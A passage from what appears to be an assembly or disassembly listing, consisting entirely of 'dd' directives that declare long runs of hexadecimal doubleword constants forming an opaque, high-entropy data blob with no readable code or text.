8F4F8B6Dh, 8E940F77h dd 0D200D5B2h, 985B7587h, 4B95141Fh, 61D46940h, 0C27AEDh dd 3B488856h, 0F8BFCE32h, 0CC738300h, 0BC05446h, 0D6550047h dd 0E74E141Fh, 0B47A9BEEh, 91008E75h, 523623B1h, 3B2B1E4Dh dd 0F300461Fh, 4FE5FB21h, 741DE129h, 23406003h, 0C433C24Dh dd 210E0F7h, 0E9AF283Eh, 5CC8A3B3h, 2E008212h, 303845BBh dd 890CD6h, 0A9EFAEFBh, 7B370EB2h, 84B88E00h, 1CA125Fh dd 0FBA00160h, 15F57830h, 1090E385h, 0B11C620Eh, 8F80A6AAh dd 8666C9D8h, 53BE0008h, 15038D14h, 0BA1C1D71h, 9D4F413Ch dd 0A1528066h, 160BD4Bh, 270C61AEh, 0D4741BE9h, 7C00367Eh dd 629ABACCh, 76D5EDAh, 59715B4Dh, 0D6D72088h, 9800F591h dd 0E9331F40h, 0CEDF92h, 528FA1E2h, 2F84EC2Eh, 1FF5CC00h dd 98FE9EE5h, 39A00061h, 81683711h, 8C0BC801h, 94AD3Fh dd 0B52CF984h, 0B2570E6Eh, 7C238BA3h, 0CDBBF451h, 84D886D3h dd 8100895Bh, 0E06B14EEh, 0E8558BBDh, 4970060h, 3496159Bh dd 1F000384h, 0E5C77BC2h, 0CC5BDEh, 61E4DCEBh, 0E6629B80h dd 803FD13Eh, 9058B181h, 0C0FF794Ah, 0AA4DE8F0h, 83E1D19Eh dd 0EEB58810h, 0F6D6E098h, 1C9F1235h, 0D9400095h, 10E2AEE4h dd 0CC113D03h, 0D0382229h, 0C58FA2h, 27169809h, 68C4BCEh dd 0C5BC7E2Eh, 2E4E151Eh, 8A4DC0A5h, 3EF25BC6h, 1680E4FAh dd 4BA3ABDDh, 9E00ED56h, 89C60B53h, 0AD62Bh, 0C99DA05Fh dd 0A83EB177h, 0D8AD4600h, 25D7898Fh, 3C950009h, 0BE943F27h dd 36023E78h, 93684C39h, 8076E022h, 58DB07D1h, 2073425Ah dd 0E785E9FDh, 2D001075h, 0F66A0DB0h, 82F2DBh, 25FB5786h dd 4BA9AA3Eh, 0B7691400h, 0B6ACE4D2h, 0DD58007Bh, 0F9293682h dd 0E978B290h, 0D4267300h, 60E22FE6h, 401604F5h, 0C0178031h dd 0ED4AFA04h, 0BA84FF03h, 0A01F66A6h, 487E1394h, 3C038495h dd 7BDAB04Bh, 0A020C398h, 0AC09AD60h, 752313Ah, 0A5C2C703h dd 0FB475381h, 0D13406D0h, 406B3009h, 542900C6h, 17610Eh dd 9A732EADh, 0F0AAE1C5h, 0AC2E400h, 117EFC97h, 4D9F0070h dd 0FB8FA9B3h, 5118CB7Ch, 8810B022h, 941700FAh, 0ECF15839h dd 0B200FFB9h, 0CFE12693h, 1E9E23EBh, 9D046D77h, 0CADCC3E7h dd 2E903450h, 60FF7215h, 37010F57h, 905BED3Dh, 40EED216h dd 8FA7FFh, 0BAD4E77Dh, 6439124Fh, 285B0B00h, 9A3FAEB4h dd 2E90E9h, 0D4AA61Fh, 0B0E820D9h, 53741007h, 7D006B69h dd 0BAA5B7h, 0C193AA23h, 49E88EFAh, 2DB3B51Ch, 54E4C700h dd 6E3AA5DFh, 2BC35252h, 72C8D211h, 504C8FF7h, 620008Ch dd 0F34DF524h, 0A705005Bh, 0B1974ABDh, 0B53BCDD9h, 0E4F000Ch dd 32EE69B6h, 347ED8h, 78232CDEh, 0FDAC5A99h, 95DC4000h dd 0FF9F8FA6h, 0E1B20758h, 0B05BC256h, 88A904A3h, 2CD34200h dd 12AB621h, 0EDD70950h, 0F8008FD6h, 6D579D61h, 0EC917F24h dd 0E984B307h, 0C5961980h, 811B3DDFh, 26AAFA00h, 1508768Ch dd 0CF362401h, 8303EFFFh, 0F473C080h, 0E3FAD714h, 5BE6DE74h dd 9A276412h, 88F4D020h, 77EE07DDh, 7057B572h, 0B8985E30h dd 4C600202h, 0DDD82066h, 0EC8B9B41h, 9C006D8Fh, 0B6CF57AFh dd 3AD0Ch, 72F60822h, 0E291AA4Fh, 1E045074h, 4A2FE10Eh dd 0DEC75891h, 0F1458840h, 599C072Bh, 8053E92Ch, 826B35Ch dd 27571800h, 0C7ACF3DEh, 0E00A0FF9h, 0F760829Eh, 0EB07EDF5h dd 0FDC38C00h, 5D190CE6h, 918500A5h, 0ECD1C06Dh, 73009880h dd 8A202F9Bh, 1F6BB3h, 0F03FE16Eh, 0CE565CEFh, 9283FA00h dd 5A2E1C98h, 514800D7h, 0F8A57F90h, 0A8004ACDh, 0A09B01EDh dd 1E2F4Ch, 0E7254F5Ah, 0D13E5D24h, 30D3383Ah, 97DC09DDh dd 6F25005Bh, 6C80553Dh, 0C9048A65h, 0A5AD62DBh, 0A35CCB80h dd 0E0F2D2h, 7D8DDAE4h, 1C620417h, 78400A1Eh, 0CBA0D500h dd 1AAA25h, 489A4C23h, 0EE790D16h, 0F0CC6903h, 800280C0h dd 6BAD52h, 42861AD7h, 0A8973F3Dh, 3C6C6C60h, 3FF0DC3Ah dd 0D38FAB48h, 49439D0Fh, 71C80328h, 0EF003474h, 57F6B693h dd 50C13h, 0DB0A99D7h, 5DDCBD1Ch, 51007A98h, 98CD2943h dd 0E470414Eh, 10C44C6Ah, 0B007F500h, 0CD9C94E1h, 7E9E4B00h dd 0B36C8CF9h, 6A7B07E0h, 404C7916h, 18FDD9D4h, 4ADB4200h dd 5B661777h, 701200EDh, 99392D06h, 36ECA1DFh, 80C8883Bh dd 953B8CF1h, 1D42A278h, 0D144AFh, 0C65CF577h, 0E1001E58h dd 1BC906F1h, 6CD08Eh, 4D85B175h, 37FA5966h, 0E5102202h dd 0E011F8B7h, 0D7D816h, 0A7C27490h, 952C5C67h, 7E571E00h dd 0C18914AAh, 0B0381DE0h, 6D3D803Eh, 0DC785BEAh, 0F7183500h dd 0BCC565ECh, 0CBB0054h, 277ACA71h, 0EE004711h, 63E29BA5h dd 73BBEh, 5B128645h, 7199978Dh, 782C8C00h, 0EAE501A0h dd 584F050h, 54CAB585h, 2FEA8028h, 94F68EA4h, 0B323F200h dd 0C6A998E8h, 1EA83D0Ch, 0A3622680h, 747F437Ch, 84D1B700h dd 36BDF9C3h, 4C1C0FECh, 0C16775DAh, 0BFF5A344h, 6B2B03AFh dd 40C751F1h, 98F76DD0h, 0AD030FFCh, 4C0E6637h, 3B190047h dd 8D51A5CAh, 3271BF29h, 7C7FFA00h, 55F38C8Eh, 2487002Fh dd 4813D26Fh, 16006065h, 30FF9920h, 0E63AD842h, 0CC0800F6h dd 70A1B7CBh, 84008025h, 0D5AD907h, 711580Fh, 0F56BC153h dd 576403C9h, 5A154877h, 13D82EFCh, 0C800515Dh, 94D4125Eh dd 3FC98h, 7C8FF42h, 0B9D681D3h, 28BEC102h, 81D7CFE7h dd 5C86FC83h, 1C5DABE4h, 80CDF770h, 0E530434Eh, 311DBC48h dd 74407AE9h, 0BBB25C75h, 2C7645h, 882264B5h, 4FB9CF65h dd 6AC87600h, 6E7B8E77h, 0AEE8E7h, 9C52176Ch, 6F1862E5h dd 822A2D1Dh, 7440CBDFh, 0BBCF2B7Ch, 497B000Fh, 586408D2h dd 7301EA25h, 87B02C4Ch, 7020B73Bh, 2E030166h, 6EBD2163h dd 0A08960A2h, 6BDC7200h, 75E2F852h, 7624001Dh, 0B0459AA6h dd 0CE70B2AAh, 7007EB03h, 0AC40F159h, 2FDD40C0h, 0C1C70010h dd 837ED656h, 0B71EBCD2h, 803F72A4h, 226D5474h, 0C39571h dd 0F8F57804h, 896187FAh, 0D7DC9204h, 0B5C05A9Eh, 8255CBh dd 0C9E8B1FDh, 6C518B1Fh, 1BA6201Fh, 0F0845C80h, 1190AC6h dd 869C9299h, 7017D8B7h dd 0A40065B5h, 9F436DF9h, 3215736h, 0A9813A84h, 360E6390h dd 0A797ED40h, 5B20E5FBh, 1C5A687Dh, 80A84F69h, 0B59F4DA3h dd 4A0020F5h, 8CD235BFh, 1852BD51h, 114843FAh, 1E004583h dd 18268096h, 95F9F3h, 9B3B0240h, 77A14EB8h, 0A329E406h dd 1D5842CBh, 0BB0109BCh, 1CE17C80h, 2A90CAA9h, 0ED003F71h dd 2BD10BB8h, 97F33Ah, 0D64D4E4Ch, 0A87E3D56h, 2EEC5B03h dd 0A8883FFEh, 0A45C6h, 9F340D78h, 0D77180CAh, 0AB9DBE00h dd 0C66A40D3h, 0DDAE004Ch, 434DAF5Bh, 0E2755834h, 7C77539h dd 7436C96Bh, 4BF3E7D0h, 7CCE7840h, 337F004Ah, 9DFA272Dh dd 0DCE8567Ah, 934CE4E9h, 315D2800h, 9135AA01h, 3C2A48C2h dd 52791100h, 1E8AC685h, 0F11FAC0Eh, 7B914025h, 0FE6537h dd 1745D64h, 514DFB48h, 0AB499C07h, 29B0AFC7h, 7FC2B7E6h dd 753500BAh, 0E981141Fh, 6A7C7F24h, 96629800h, 0C4D0DB64h dd 0ABEC048Fh, 885C389Ah, 25001358h, 87FF9861h, 0D70486h dd 303AA09Dh, 0C9518AF8h, 0BC9C6602h, 874120DAh, 0CAD109C4h dd 80EEC191h, 0BAD948CDh, 60E16Ch, 0F4C67625h, 0E776B3h dd 0FF8BACF4h, 0E89A8EF9h, 39EC4505h, 90C323EBh, 0A480CCD5h dd 3C5ECE64h, 0D4824C4Ah, 0FEB3792Ah, 8A4D7740h, 8185B0C0h dd 64DEE5h, 142D7EFh, 6F50070Ah, 0BE33CF3Dh, 0EBBB8015h dd 0E01FBDBEh, 871A00F5h, 348EC492h, 1009430h, 9388866Ah dd 3E4CBB4Bh, 0D506B06Eh, 0D84777F6h, 8CE5223Dh, 93192CEh dd 49C42EF7h, 0CDB30329h, 1800FAC1h, 0AED5071Ch, 58ABD34Dh dd 9600BFF7h, 0DB194B90h, 7F5842FCh, 432B004Ah, 322001A8h dd 0C4AF18A9h, 1ADA200Dh, 100066EEh, 0CAE4AEBAh, 7F53F624h dd 9F350080h, 0C149C0BBh, 0A8925D6Dh, 733B44Ch, 9556DD18h dd 66FBF8F1h, 15F00621h, 18DD19h, 540908D9h, 0EB3B29D2h dd 36F50262h, 0E073D4FBh, 0C2644h, 5EDAAE2Bh, 2D82DD79h dd 0BC08343Dh, 2305128Ah, 3AD94803h, 9284D836h, 0C57600C8h dd 90CBF4CCh, 5B00B867h, 0C666EB88h, 4DF8ED5Eh, 841DCC91h dd 5C90808Bh, 70FCBA17h, 96B97101h, 9DA548B6h, 0E08FC3DFh dd 2CDDA8CEh, 1CA5F0C6h, 0E9CC410Bh, 0F0830A32h, 0B106C7A4h dd 733CDF19h, 15010991h, 800077E8h, 0CA47E444h, 641A4224h dd 0D995D80h, 56B2CEh, 304E7768h, 0BCE0BE9Fh, 6BCF2C00h dd 0BF656A9Dh, 23A7348h, 3F271E54h, 837DBAECh, 0C0DC2DD8h dd 0F018BEAh, 0CDF0C4A1h, 0FBA34C20h, 0A84C6EC6h, 97980400h dd 0BC80578Dh, 0FACC49h, 90389B58h, 0E9F6AC69h, 62EED612h dd 0DBD14400h, 3C3A76A1h, 28757213h, 3D8FA48h, 27A8626Ch dd 50FFD54Ah, 0B734E6Eh, 59A5FF24h, 0B6CD8801h, 34E42AE2h dd 0B857996h, 75BE35Ah, 76B8FB01h, 0F3D42006h, 4D56D00Fh dd 0D10B9AFh, 70FBC240h, 0FDA1053Bh, 8705F82Eh, 9CCF912Ch dd 28B420B4h, 981CCC0Eh, 574B407Ch, 0C8E164h, 12F74875h dd 283CB7FAh, 20110F00h, 951FA92Dh, 0FE40007Ch, 0E829F655h dd 7B008050h, 91B232FFh, 1DE6538h, 0F33B98CEh, 830AFDDAh dd 0C81EF654h, 175EF8DBh, 0FA8C00A4h, 79085FC2h, 5800392Fh dd 8E9D52A6h, 6AE545Ch, 24C7AA0Eh, 3F00CC92h, 39B7EC2Bh dd 0E31AC16h, 25A89D2h, 13E611E7h, 300E7398h, 21E9D06Bh dd 0DB5C7968h, 3800820h, 6DAB4559h, 7BB04217h, 3F00972Ah dd 0B3963BCFh, 5F19E9h, 40ECAEA1h, 1E941569h, 0E66CC101h dd 0B898541h, 0EBB7F840h, 0FA7E38B9h, 4C19638Eh, 0B4000429h dd 0E10124CDh, 1A125B00h, 0F660A0E9h, 0AFD8C17Dh, 34EF6C4Ah dd 0A00FED0h, 41372C77h, 165825h, 3F322E19h, 57105F13h dd 755C9500h, 5E1F3047h, 71860B91h, 6400DEEEh, 0B3FEAA39h dd 95ABE300h, 982D59EAh, 0F02550A4h, 422C073Bh, 534F43h dd 5CBF82B8h, 33EB7200h, 5E89573Fh, 0EAD230A3h, 52217710h dd 9A1635E4h, 0C00FDDA5h, 1C592094h, 7D6ABC9Fh, 0D458C33Ah dd 9DC84433h, 0CB00FF1Fh, 0BEB26710h, 24EA6CC0h, 8088EC1Dh dd 6D3A52F0h, 0ED05BCBAh, 2C287957h, 37191980h, 0D5E3132Ah dd 0E47100B4h, 0D8AD15E7h, 0AA3A7F0Fh, 42828030h, 3CBB1C3Eh dd 85004927h, 0F8608871h, 0A907A7DAh, 0E278AD7Eh, 0A6F6A110h dd 9BFAC3h, 1588D127h, 0F3A0B083h, 4BF5BB00h, 30F03997h dd 3FA1EE59h, 172BEA4h, 0A28FDE54h, 0FC33F9E4h, 0BF075013h dd 8BB46E0Eh, 152560A0h, 2F66184Eh, 4D140921h, 13B46100h dd 0D02760FCh, 6D490E83h, 0A1CF5F1Fh, 5A7B2880h, 6F00991Eh dd 0B5692D6Bh, 236592h, 86BBA53Fh, 4E010D68h, 2D212900h dd 901BFD38h, 0E09B1DA0h, 2CF74062h, 825C6EB7h, 70E5700h dd 91ED9EF2h, 0D5E3E99h, 1D8F581h, 0DC77A867h, 9012FF28h dd 0F8B0AA14h, 0BEE29Eh, 64B07547h, 359B25AFh, 72CA6800h dd 89EFAC4Bh, 0D36B0F2Dh, 0C4000F81h, 0E77719D7h, 9FC2EE00h dd 486573F0h, 317F3839h, 0ECE38900h, 554B8110h, 3600D370h dd 0B24ABF5Ah, 78F8EF6h, 0A0809174h, 0D6233284h, 9C5DFA60h dd 0C1B61100h, 221F94Eh, 24370022h, 0C26B7A3Ch, 5E0170AEh dd 44F60D55h, 0A08373EFh, 0DA9CA2B9h, 0C88A480h, 38E0CD00h dd 6AB0F812h, 0D5653B16h, 0AC952680h, 0BDE51535h, 96D42301h dd 5568C943h, 15E6ED8h, 50CB9236h, 9EFD693Ah, 0A2003708h dd 6BCED22Ch, 0C8A00014h, 3DF4C768h, 1C0BA186h, 9EAB3Ch dd 0D8E990B0h, 9F9C010Eh, 7E3441DEh, 0FBAD417h, 0CB004077h dd 5EF5DA20h, 0E7ECBFh, 87963571h, 72690FBBh, 0A8444A0Eh dd 0EEF72099h, 0ABD82Bh, 5D47A018h, 4A7D9E75h, 0DFE87100h dd 96D6BF28h, 0C5321704h, 383A0072h, 0C1648857h, 0F9341907h dd 0B4A04814h, 0C06F901Dh, 894E6D06h, 0B700E533h, 95DAA410h dd 3BD2CA75h, 2200A104h, 41C0C68Bh, 20008C26h, 195846E4h dd 272BB1h, 0D4986B5Bh, 4412B272h, 0A47C021Eh, 4DF26A40h dd 799FC0h, 891FCECBh, 0FE8E8FADh, 43B2D00h, 0B00DDB01h dd 7E630076h, 76A9A24h, 2F000308h, 441DD8Bh, 1B39751h dd 0DC725DFAh, 404D28A1h, 0EDEF11F4h, 0C9D8EB1Ch, 0E60454FEh dd 3ADC4Ch, 0F6942127h, 3BE5A915h, 7E807089h, 0EFA8BD9Ch dd 96007683h, 5F32217Fh, 0B73C7EDh, 35B0842Dh, 81D0F780h dd 740F62AFh, 80858909h, 241B4B01h, 5EB07Ah, 36FE5117h dd 2978D290h, 0B6BBA12Ch, 8F931B00h, 35F249h, 0F32F59ABh dd 0F986AE22h, 0C300FC98h, 7C8EA840h, 75B92562h, 0E95403BDh dd 6530419Eh, 73C7580h, 1E21DD00h, 566FF544h, 74130051h dd 8ABC2E9Eh, 7B779975h, 83F08E00h, 31F948FFh, 0D5590E16h dd 1560634Fh, 69C3192Ch, 8189430h, 0F8110E26h, 0C08B0123h dd 0B405DB6h, 0E54EF8EFh, 0A285A300h, 80213ABEh, 78340029h dd 234DB6CBh, 5600C8F4h, 2431D5B1h, 1E6801F7h, 40F8950Ah dd 0E5282657h, 995C19FCh, 4117006Fh, 3486B3B6h, 7F7E0FDFh dd 0AFA15191h, 0D0BFC795h, 0B73B6B0Bh, 80F9BD9Fh, 0B41D024Eh dd 581F38E3h, 450071CCh, 0CE75CFE7h, 6D0C4266h, 0D8338DF4h dd 2D821C55h, 669CE76h, 7B74E220h, 64012747h, 0FFD3C8AAh dd 4A60DFCEh, 3D393A5Dh, 0EEDC9700h, 732BC9E6h, 0A7D03600h dd 66444584h, 1BA002Dh, 58156CF1h, 0D5EC37F5h, 427ED700h dd 2292865Dh, 0C9CE001Ah, 210B5CADh, 2D00659Ah, 9BF97CBEh dd 0C05348A4h, 0AE9EF312h dd 0D2006E16h, 18E9C5FEh, 3D6D115Ah, 0FF09A77Eh, 378613F9h dd 4F141197h, 60E92918h, 0F1AC5688h, 4260031h, 0F637D47Ah dd 2373DADDh, 0E7AF6201h, 41CC4D45h, 35C78440h, 37980E69h dd 82A5B28h, 29C940C8h, 8509A0DEh, 80DFFDE5h, 3F440600h dd 0C82D48E6h, 15590C01h, 0CC4C452Bh, 1E264FA9h, 580C77CAh dd 97FA6Ch, 4574FFA8h, 7B8EE751h, 0B100C67Ch, 0B58B6181h dd 2CCCD61Ah, 0A772B4h, 4B503FEFh, 0DB00B363h, 8AF929D9h dd 67E7ED8Eh, 108B0986h, 7F33B61Eh, 0C0370F00h, 8C7ABA9Ah dd 277B39h, 36D53D6Ch, 74214459h, 800A863Bh, 323BDC83h dd 19AEC2Eh, 0BAA40EC7h, 0C0D5D149h, 0BD05530Ah, 0C34C072Ch dd 6E09300h, 0FA73DBh, 0D9C98B8Fh, 1B67DEA8h, 3F6E5400h dd 8037787h, 972C007Eh, 42759147h, 8E1CE563h, 114F3D19h dd 1E4680B8h, 175D45h, 5AD48D86h, 308A37CEh, 0C41C241Dh dd 6FB3C780h, 16A25Dh, 2349EDDEh, 9B1F4852h, 0C0ACDD07h dd 0F20A7ADh, 0A0D5215Ch, 90CE2FABh, 0BB6500D5h, 0F0F488B5h dd 0A409E1E0h, 9A5F39h, 5753C550h, 0FBF20016h, 0FA93E57Dh dd 0F360B2CAh, 11A4B410h, 4598E1h, 0BAF4F295h, 90C98EF5h dd 0D5ADF000h, 92AFFCEh, 0C1700C7h, 0A4D2A54Dh, 0CA00DCE3h dd 3AC1182Eh, 7259703h, 20DF502Bh, 0D409234Eh, 9D8A78F8h dd 0F93DA1B0h, 868D03E2h, 0E96537C8h, 20C8FD62h, 0F690A96h dd 0F854D7h, 8C9809D5h, 3B004924h, 0FFAE022Ch, 731B88A0h dd 0B835149Ah, 7A70E06Bh, 65DB077Bh, 90791970h, 0F1DCA71Eh dd 0FC6BEA1Fh, 0FFC456C0h, 0FA9A6Ch, 241F075h, 78124BCCh dd 0E8FD0E0Eh, 386320BAh, 6023B845h, 18928049h, 0E5008D76h dd 24D0913Dh, 90E13Bh, 0CFAD61D6h, 4FF58C65h, 1BFFAC00h dd 81D2E714h, 0CB2D1D27h, 0CF6E407Ch, 0DCBEBFADh, 51FE8C01h dd 0B0B7C1F8h, 0FAB03C8h, 8F79D41Ah, 1E640465h, 0F073C0E4h dd 4F5BE277h, 920067EAh, 6DBEB3A1h, 0E5919D47h, 248D0DE8h dd 0AE31B0h, 8663E4CCh, 20179071h, 0C41046E9h, 43980028h dd 7CC8FCF3h, 26F800A9h, 5249EB01h, 8000E40Bh, 87887EF1h dd 9A5C59h, 0E1D0AB7Fh, 0C2E2026Fh, 13CEE500h, 652829F5h dd 1FBC0AAEh, 1842BDAh, 708C9717h, 0E251CC82h, 6A5BA600h dd 0EB2E36FFh, 0DE980Ch, 4A07675Dh, 4419A2E4h, 0E025600h dd 0F2F1BD37h, 152A07E5h, 713328FEh, 80177DBEh, 2CBBB8A8h dd 8CCF49h, 0A5C9EB4Bh, 0B4429446h, 0F3F5FD00h, 0D33681E1h dd 0C5E2076Ah, 0B00C48CFh, 56BDFB93h, 2DE4DF00h, 90F7DCF4h dd 11850391h, 0C4AEBC2Bh, 1F513CE8h, 0C2B01500h, 0F4FA1A76h dd 66050011h, 9B23DD0Fh, 0E00053E9h, 27EEAF99h, 1038D1Eh dd 10A438A7h, 302F86FBh, 5B014416h, 85E1A2F6h, 93301391h dd 6AAE0021h, 1E1FF131h, 300561A4h, 62FA9EB1h, 2459B000h dd 0E0A563h, 8D3BBD14h, 4CB97A75h, 85394F0Bh, 94B70048h dd 5FB6E2h, 82DB1D6Ah, 8BD6186Bh, 78C14D07h, 412F93E9h dd 9F9E9830h, 868C30h, 0DDEA2A87h, 0CA117A94h, 89C4E603h dd 0F5EDEEBFh, 47518EC0h, 0F9600322h, 78DCD086h, 0B424C0D4h dd 0FF1D8705h, 695F95A2h, 0C9A56AC0h, 0EF34FD7h, 0A88DCABFh dd 314D7C60h, 0E500B45Fh, 0F7479294h, 0B9998Fh, 0F3ADC145h dd 2A63B1D9h, 0B6DAEC03h, 998BF114h, 7CC4B9A8h, 0DC600C0h dd 72823ADBh, 0F900C9B5h, 0AF8F1822h, 3A065614h, 0C700519Dh dd 0BA8C1265h, 0C40104DFh, 5E4DB6Ch, 0B0808B33h, 4517CEC6h dd 5A300AC2h, 850248A1h, 80DA602Fh, 20569001h, 12558B00h dd 0D7B853C7h, 0CDE73CAh, 5FBC4277h, 86038EB0h, 0F7622944h dd 40679A36h, 5519980h, 24777C09h, 0E1FE0338h, 0DCC0C142h dd 0B000A098h, 67D9F9C8h, 1CD05E78h, 40BE1954h, 0FA36B4B7h dd 0D100BAD5h, 0B34CC327h, 0B86D3C01h, 136B0050h, 0A4085473h dd 713E92Dh, 0DC04D6B5h, 0A54FC4A9h, 0E96840D3h, 0BBEE8FABh dd 0FB096600h, 0A3DBA712h, 8DFD0055h, 9033FA4Dh, 455D2E27h dd 63851F80h, 69B82D83h, 873B9814h, 8C60C8D0h, 7297CD8h dd 4DAE5BE0h, 3A007ED6h, 792B53DBh, 4036F10Bh, 889E81h dd 2C2AB0Ah, 9D5F5091h, 13CB348h, 0B6BFA26Bh, 0EAD8A0D7h dd 4ABA2EAAh, 57410040h, 0E1300E6Dh, 610068B8h, 5EE7491Ah dd 737F310h, 7FD1C2B3h, 824302B0h, 4A149CC0h, 0E1B12D03h dd 1D07738Fh, 473DDA38h, 123BF8CFh, 0B6C0911Bh, 900E34Ch dd 0CEDBDC6h, 22F8CACh, 0BAF9B583h, 0DCE07D2Ah, 518FE2Ch dd 0BF11142Bh, 0A2F70E63h, 0E8621682h, 988F803Eh, 0A0E52261h dd 0DF97F059h, 4FC46860h, 0E09E67h, 22701404h, 2324B6A0h dd 0BDF78505h, 0BAC155C3h, 6030CF78h, 421A00C2h, 4775445Ah dd 87002C62h, 0E2BB26FAh, 7CDB56h, 13C6C386h, 0C1F9C798h dd 8077523Bh, 89123670h, 1F6B87E5h, 4051D4AEh, 6E9F8D23h dd 5E4D7D1h, 9C74E803h, 0C894CAEBh, 8DF3E5h, 2D6373B1h dd 7176FA77h, 0AAB5B02h, 4062EDFBh, 7CFE1F6h, 0C3B334CCh dd 0B9AD309Ah, 0A50044E8h, 0D7ABDB11h, 0D19B48h, 0F0D62E5h dd 0D910EBE6h, 0E8328400h, 0AA6D21C1h, 48D03B74h, 0B4AF160Eh dd 343C4720h, 59397970h, 39FC604Ch, 0F2C27E8Dh, 0DFF100F0h dd 71B078CDh, 65011E0Ch, 88C9C4FFh, 6CECF732h, 2F2E074Fh dd 20B2427Fh, 0F41BBD9Eh, 0A600F1E8h, 0A4F7A3BFh, 90309B2Eh dd 7C957C2Dh, 573D074Ch, 0CE2D7E51h, 0A464B81h, 3927E09Ch dd 0B802FA05h, 0D6809488h, 4FFB08Eh, 0AE512553h, 314E8319h dd 8860F99Fh, 0BA008105h, 0C71DA0F2h, 3F0FA16Ah, 0CCD03B7Fh dd 9C6F007Bh, 618872C2h, 0BA5C30CEh, 91A803A4h, 13C1A0Ch dd 94244811h, 2006A732h, 0C54C805Fh, 0FA110F9Ch, 3631E17Dh dd 30243EE4h, 600A4A92h, 66ED4AA8h, 0BC2AA400h, 0C112B36Ch dd 0A6E750A0h, 88807D3h, 30321E9Dh, 0DDB70AE4h, 0EEF81954h dd 22DC4726h, 7845D000h, 7752441Ah, 0F04E3A62h, 0FD2A7409h dd 67D67800h, 0E41DAE87h, 0AA582EC8h, 4E3F40h, 0A386E8B2h dd 9C462AC3h, 568F8900h, 418B3673h, 0D5980074h, 71777E67h dd 107A6E52h, 53EBC8C0h, 66C5F90h, 72052576h, 83010982h dd 4BED364Eh, 68EC6798h, 2F1F4E6h, 65D05B97h, 0A4C00218h dd 0B203011Fh, 0A64D1F6h, 2DECF89Bh, 57940B2Eh, 26008380h dd 92E2BA24h, 3088B101h, 1CEA7C67h, 1E5853E0h, 0F9543D6Ch dd 379BDC0Fh, 790A41C0h, 8E00D9B5h, 0E280D8F5h, 109C4EAh dd 0A7F969A2h, 70A4174Eh, 4B5C9406h, 0DE4D0038h, 58E11C9Ch dd 0D52207CBh, 0B03AED0Bh, 7881AFEh, 9C2E2D98h, 0A2012CB0h dd 0E2C210B4h, 0F563C0h, 9908C8B2h, 42323FF9h, 0AA490200h dd 982D587Eh, 0B58400CBh, 6C8C078Bh, 9AFA852Eh, 970E08B8h dd 7041CCh, 437B8EC6h, 0A1A92ECEh, 95D289DCh, 0F304E400h dd 182EC0E9h, 0CC00B1AEh, 751AC8ACh, 0E11D0353h, 86CDC391h dd 2F6327B8h, 7D069E01h, 3C3382FEh, 378FCCh, 1038504Ch dd 3FE43D14h, 91775B00h, 3C2F2CF8h, 0B83700D5h, 6DC8D326h dd 0DD00A574h, 0C5A6058Bh, 1888163h, 0CEC26872h, 0C7B87FE3h dd 0DCB479F9h, 9A00156Fh, 44DC8328h, 0C3BB3C78h, 0B4748D20h dd 2FBA08A8h, 5AA1D101h, 559CB948h, 2270F6D0h, 4918BD4Dh dd 0BF393FFEh, 124C7EB7h, 7558F85h, 0DFBEF0D0h, 8A2E1818h dd 2C5E5800h, 76681837h dd 0A1B400C8h, 47552061h, 15746C60h, 7B447950h, 6C84622h dd 0BC8AA7C9h, 11B9053h, 0FB18636Fh, 0CC38021Fh, 71191262h dd 0B2390C81h, 148BCB5h, 6934AD4Fh, 0ACD0B756h, 381E0D59h dd 4421B4FFh, 0E31C007Ah, 0C29A1287h, 0C6018E7Dh, 8167B7B2h dd 0B3F05265h, 0CED300E4h, 0B03FD821h, 283BB27Dh, 8089BC7Fh dd 6E5D28Dh, 546C3Dh, 1DC6960h, 77643083h, 5E393E01h, 274184B1h dd 93B6BC8h, 0ED0E9CDBh, 5F3D8D80h, 45F402BEh, 0D5BB500h dd 4EB2251Dh, 180403C6h, 0B8967562h, 7EA726C0h, 0E62F6A03h dd 80589BD1h, 0F94993h, 0B10A0CD6h, 8D4DC7B4h, 67E65D03h dd 0A08E219Ch, 95D071h, 69C39E7Ch, 430FC6Dh, 0BC11CC00h dd 0B5CB0876h, 0D884A96Eh, 39B71F8h, 0B2156462h, 8187C39h dd 0F7200DD1h, 34E27Eh, 9AC46123h, 0B1728504h, 8C3A9300h dd 1F911E5Eh, 836300E4h, 51947520h, 0F0F0E66Fh, 0CCF1A651h dd 0F5373FBEh, 6880500Eh, 3127A5Ah, 154F0785h, 818FF8Dh dd 7F20B16Fh, 27A3FA2h, 24CDB380h, 0D2ABFEBFh, 8124091h dd 23D33807h, 1A11DCh, 5867789Dh, 2C1D93Fh, 1835EF3Ah dd 0F20B061h, 37780042h, 0EC71FFABh, 16011459h, 8A2DBB5Eh dd 8C511882h, 640CA99Fh, 62107E79h, 6C414C4h, 0ACA300F7h dd 24D2187Fh, 7ACC07h, 0B26953F4h, 8F004DF1h, 14513FDBh dd 0B70875h, 1B52790Dh, 89C81FBCh, 0A2506500h, 0FF5535FDh dd 0BA970069h, 639EDBAFh, 0B1E01232h, 0A4DF1D00h, 0BBB23371h dd 606F00EDh, 0E6CB1B0Ch, 860179BDh, 0B38B605h, 45BA88Fh dd 48803086h, 88F0487h, 0F82C840Ch, 0E3780512h, 2D040065h dd 3A9085C0h, 28840B3Ah, 8E611C32h, 0D0B4AC08h, 0F98925E0h dd 3182056h, 851D6D94h, 4FAF5A7Dh, 0DF98A9CCh, 0EB50D9D8h dd 0BE31CA79h, 699E9B4Ch, 0C6278A6h, 82A88519h, 9083BA1Ch dd 0F91E0490h, 8A25059h, 0B2608134h, 408084Dh, 139E050Ch dd 0D10853Eh, 4C9AE44h, 32286368h, 30A91780h, 0C9108CAh dd 98F814A2h, 94B04CA1h, 0DE402818h, 10605029h, 1461ED2h dd 762A4C55h, 0F6D8C2CCh, 902F70A3h, 419CFFA0h, 0FEAB4407h dd 0FC4A45BCh, 0F5048556h, 59B3CD83h, 0AAE7E012h, 2119C015h dd 0C03992BBh, 0A476D107h, 0F5E33BE4h, 83E393h, 55532E41h dd 34946612h, 77199560h, 0CD9D800Ah, 0DC585638h, 314089A8h dd 5B373291h, 23E0B349h, 390E847Ah, 42E72012h, 48E298A9h dd 0C100590h, 0D091D1B9h, 0D3000B10h, 0D6E587DAh, 619AB135h dd 36696984h, 29499D42h, 0F6992641h, 17DC23B9h, 36D23AD8h dd 6C0FDD3Ah, 280E056h, 0B60405EDh, 0DFF79F15h, 74170688h dd 0E0888E4h, 73CA84C9h, 11A88942h, 82488CACh, 9808D06Ch dd 0FB7850h, 0E6227B54h, 8150E53h, 9FB88300h, 0EF8ACEA1h dd 